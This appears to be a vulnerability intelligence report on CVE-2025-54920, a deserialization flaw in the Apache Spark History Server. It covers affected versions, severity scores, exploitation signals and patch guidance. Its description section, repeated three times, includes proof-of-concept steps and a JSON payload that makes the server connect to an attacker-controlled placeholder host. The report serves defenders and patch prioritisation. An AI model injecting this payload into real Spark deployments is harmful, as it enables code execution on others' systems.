Evidence used
- No CISA KEV confirmation is currently recorded.
- A structured source references public exploit or proof-of-concept material.
- EPSS is 5.34% for the current model date.
BlackTreeCVE IntelligenceFull vulnerability report · 2026
CVE-2025-54920High confidence
Apache Spark: Spark History Server Code Execution Vulnerability
Apache Software Foundation · Apache Spark
8.8HighCVSS 3.1
Within 7 days
Patch availableHigh technical severity with public exploit material referenced by a structured source; prioritise exposed affected systems while verifying vendor guidance.
R
Open reassessment dashboard →Operational reassessment
Published severity in operational context
Published severityHigh→Operational priority:Critical, raised one band.upgradedsince 17 Mar 2026
Compensating controls
- Validate the affected product branch and deploy the verified fixed release.
- Restrict the affected network interface to trusted sources where business-safe.
- Increase monitoring for the attack path and post-exploitation behaviour described in the report.
Verification
- Confirm that the asset runs Apache Software Foundation Apache Spark and falls inside the recorded affected range.
- Verify the installed build against the product-specific fixed version after deployment.
- Validate exposure, authentication requirements and compensating controls in the actual environment.
- Reopen this reassessment when CVSS, KEV, EPSS, exploit evidence or remediation changes.
Open-source package ranges12 source-attributed ranges
These OSV and GitHub advisory ranges apply only to the named package and ecosystem. A listed fixed version is not a universal product patch or proof that an update is installed.
| Ecosystem and package | Affected range | First fixed version | Evidence |
|---|---|---|---|
| Mavenorg.apache.spark:spark-core_2.10 | ECOSYSTEM: introduced 0; last affected 2.2.3 | Not stated | OSV record ↗aggregator derived · 10 Sep 2026 |
| Mavenorg.apache.spark:spark-core_2.11 | ECOSYSTEM: introduced 0; last affected 2.4.8 | Not stated | OSV record ↗aggregator derived · 10 Sep 2026 |
| Mavenorg.apache.spark:spark-core_2.12 | ECOSYSTEM: introduced 0; fixed 3.5.7 | 3.5.7 | OSV record ↗aggregator derived · 10 Sep 2026 |
| Mavenorg.apache.spark:spark-core_2.13 | ECOSYSTEM: introduced 4.0.0; fixed 4.0.1 | 4.0.1 | OSV record ↗aggregator derived · 10 Sep 2026 |
| Mavenorg.apache.spark:spark-core_2.13 | ECOSYSTEM: introduced 0; fixed 3.5.7 | 3.5.7 | OSV record ↗aggregator derived · 10 Sep 2026 |
| Mavenorg.apache.spark:spark-core_2.9.3 | ECOSYSTEM: introduced 0; last affected 0.8.1-incubating | Not stated | OSV record ↗aggregator derived · 10 Sep 2026 |
| mavenorg.apache.spark:spark-core_2.10 | <= 2.2.3 | Not stated | GitHub advisory ↗github reviewed aggregator · 17 Mar 2026 |
| mavenorg.apache.spark:spark-core_2.11 | <= 2.4.8 | Not stated | GitHub advisory ↗github reviewed aggregator · 17 Mar 2026 |
| mavenorg.apache.spark:spark-core_2.12 | < 3.5.7 | 3.5.7 | GitHub advisory ↗github reviewed aggregator · 17 Mar 2026 |
| mavenorg.apache.spark:spark-core_2.13 | >= 4.0.0, < 4.0.1 | 4.0.1 | GitHub advisory ↗github reviewed aggregator · 17 Mar 2026 |
| mavenorg.apache.spark:spark-core_2.13 | < 3.5.7 | 3.5.7 | GitHub advisory ↗github reviewed aggregator · 17 Mar 2026 |
| mavenorg.apache.spark:spark-core_2.9.3 | <= 0.8.1-incubating | Not stated | GitHub advisory ↗github reviewed aggregator · 17 Mar 2026 |
High technical severity with public exploit material referenced by a structured source; prioritise exposed affected systems while verifying vendor guidance.
Patch available01
What, why and how
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
What
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
Why
Attacker-influenced serialised data is reconstructed as trusted objects, which can invoke dangerous application behaviour.
How
An attacker operating through a network path may attempt exploitation with low privileges. If successful, the issue may execute code or commands in the affected security context.
What
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
Why
Attacker-influenced serialised data is reconstructed as trusted objects, which can invoke dangerous application behaviour.
How
An attacker operating through a network path may attempt exploitation with low privileges. If successful, the issue may execute code or commands in the affected security context.
02
Exploit reality and attack path
CVSS severity, EPSS forecast probability, public exploit material and CISA-confirmed exploitation are separate signals.
Observed exploitation No confirmed evidence
?
Confirmed exploitation and public exploit material are separate signals. Attacks can occur without public proof-of-concept or exploit code.No CISA KEV match was present at the last successful refresh. This means no confirmation from that source, not proof of no exploitation.
Public PoC / exploit material Reference recorded
?
Confirmed exploitation and public exploit material are separate signals. Attacks can occur without public proof-of-concept or exploit code.A structured CVE source labels at least one public reference as exploit material. BlackTree has not independently validated that it is safe, reliable or weaponised.
- Likely attack path
- a network path → Deserialization of Untrusted Data → execute code or commands in the affected security context
- Attack surface
- Network
- Privileges required
- Low: a basic authenticated account is required
- User interaction
- None
- Attack complexity
- Low: no specialised conditions are recorded
- Security boundary
- Unchanged: impact remains within the vulnerable component's security authority
- Weakness
?
CWE means Common Weakness Enumeration: a standard category for the underlying weakness. - CWE-502 ↗
CWE-502: Deserialization of Untrusted Data. The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
- CVSS vector
?
CVSS means Common Vulnerability Scoring System. The vector records the metric values used to calculate technical severity. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HCommon Vulnerability Scoring System 3.1: the compact vector below is decoded into plain language.
AVNetworkAttack vector: The vulnerable component can be reached over a network.ACLowAttack complexity: No specialised conditions are required beyond attacker-controlled input.PRLowPrivileges required: The attacker needs basic user-level privileges.UINoneUser interaction: No action by another user is required.SUnchangedScope: The security impact remains within the vulnerable component's authority.CHighConfidentiality impact: A successful attack can cause a major loss.IHighIntegrity impact: A successful attack can cause a major loss.AHighAvailability impact: A successful attack can cause a major loss.- Post-exploitation / living off the land
- After compromise, an attacker may use built-in shells, scripting engines, scheduled tasks and native network utilities for discovery, persistence or movement. This is a plausible LoTL path, not evidence that it has occurred for every attack.
03
Patch and workaround
Operational remediation based on structured source evidence.
- Status
?
Patch availability is based on structured fixed-version fields and authoritative update references. If no fix is verified, check the vendor advisory before making a change. - Patch available
- Action
- Review the linked authoritative reference and apply the recorded fixed release appropriate to the affected product branch.
- Workaround
- No verified workaround is recorded. If business-safe, reduce exposure to the affected interface and allow only trusted sources until authoritative guidance is available.
04
Evidence and provenance
Published 14 Mar 2026 · Last source change 17 Mar 2026, 12:45 UTC · CWE-502 · Deserialization of Untrusted Data
CVE recordCVE.org · 5.2
CVSS sourceCISA ADP
EPSS source FIRST · tracked since 2026-08-14
?
The date BlackTree first stored a score for this CVE from the daily FIRST EPSS feed.European sourceENISA EUVD · EUVD-2025-208669
Product sourceCNA
Remediation sourceCVE/CNA references
CWE sourceCNA
NVD statusNVD enriched
Core structured fields are present and their contributing authorities are shown above.
Material change intelligence
View recent updates ↗What changed after publication
No material field changes have been recorded since change tracking began. Routine source refreshes and cosmetic edits are intentionally excluded.
CVE published
Mitigation reference recorded
Technical terms and abbreviations used in this report
- CVE
- Common Vulnerabilities and Exposures: the public identifier for one disclosed vulnerability.
- CVSS
- Common Vulnerability Scoring System: a technical severity framework; it is not patching priority by itself.
- EPSS
- Exploit Prediction Scoring System: FIRST's estimate of the probability that exploitation activity will be observed in the next 30 days; it is a forecast, not confirmation.
- CWE
- Common Weakness Enumeration: the standard category describing the underlying software or hardware weakness.
- CNA
- CVE Numbering Authority: an organisation authorised to assign and publish CVE records.
- CISA ADP
- Cybersecurity and Infrastructure Security Agency Authorized Data Publisher: structured enrichment added to a CVE record.
- NVD
- National Vulnerability Database: NIST's enrichment service for CVE records.
- CERT / CSIRT
- A computer security incident response team that publishes warnings or coordinates incident response.
- PoC
- Proof of concept: public material that demonstrates or helps reproduce exploitation.
- CSAF
- Common Security Advisory Framework: a machine-readable format for security advisories.
- LoTL
- Living off the land: abuse of legitimate tools or system functions during an attack.